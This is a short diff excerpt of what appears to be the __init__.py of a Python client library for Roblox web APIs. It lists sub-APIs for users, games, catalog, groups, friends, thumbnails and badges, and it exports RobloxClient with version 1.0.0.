|
+
|
|
9
|
+
Sub-APIs:
|
|
10
|
+
client.users - User lookups, search, username history
|
|
11
|
+
client.games - Game details, visits, servers, votes, game page
|
|
12
|
+
client.catalog - Item search, details, resale data, bundles
|
|
13
|
+
client.groups - Group info, members, wall, audit log
|
|
14
|
+
client.friends - Friends, followers, followings
|
|
15
|
+
client.thumbnails - Avatar, game, asset, group thumbnail URLs
|
|
16
|
+
client.badges - Badge details, user badges, award dates
|
|
17
|
+
"""
|
|
18
|
+
|
|
19
|
+
from .client import RobloxClient
|
|
20
|
+
|
|
21
|
+
__all__ = ["RobloxClient"]
|
|
22
|
+
__version__ = "1.0.0"
|